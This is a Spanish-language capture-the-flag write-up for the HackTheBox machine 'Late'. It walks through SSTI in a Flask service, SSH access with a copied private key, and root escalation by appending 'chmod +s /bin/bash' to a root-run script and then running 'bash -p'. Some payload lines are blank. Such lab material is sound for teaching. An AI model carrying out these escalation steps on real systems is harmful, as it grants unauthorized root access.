HackTheBox - Late
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SSTI, Crontab Exploitation
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
Al investigar la página web encontraremos 1 dominio y 1 subdominio (late.htb e images.late.htb), los cuales agregamos al fichero /etc/hosts
c. La página web de images.late.htb ofrecen el servicio de transformar imágenes a texto y la parte más importante es que está realizado con Flask (Python). Siempre que tengamos cualquier sistema con esta tecnología debemos testear un SSTI
Creamos una imagen con el siguiente payload
Subimos la imagen al servicio y veremos el contenido del fichero que se nos descarga
d. Como vimos anteriormente la página web es vulnerable a un SSTI, ahora, nos entablaremos una reverse shell
- Payload: ``
Escalada de Privilegios 💹
a. El usuario svc_acc tiene pares de claves id_rsa, copiamos la privada en nuestra máquina y nos conectaremos por el servicio SSH
1
2
3
❯ chmod 600 id_rsa
❯ ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$
b. Para enumerar posibles tareas cron, subimos el pspy64
1
2
3
4
5
svc_acc@late:/dev/shm$ chmod +x pspy64
svc_acc@late:/dev/shm$ ./pspy64
<SNIP>
2023/09/16 01:03:01 CMD: UID=0 PID=2205 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
Vemos que se ejecutar un ‘/usr/local/sbin/ssh-alert.sh’. Ahora, nos volveremos a conectar por el servicio SSH para saber cual es el usuario que ejecuta esta tarea
Como la tarea la ejecuta el usuario root, podemos inyectar un código para colocar el permiso SUID a la bash
d. Nos encontraremos con un ‘traba’ al momento de colocar el código
1
2
svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
El fichero tiene el atributo ‘append-only’ lo que significa únicamente podemos añadir contenido.
La forma de ‘bypassear’ esto es agregando el contenido al final del fichero
1
svc_acc@late:/dev/shm$ echo 'chmod +s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
Como último paso, nos autenticamos por SSH (Debemos hacerlo rápido) y la bash ya tendrá el permiso SUID
1 2 3 4 5
svc_acc@late:/dev/shm$ ls -la /bin/bash -rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash svc_acc@late:/dev/shm$ bash -p bash-4.4# whoami root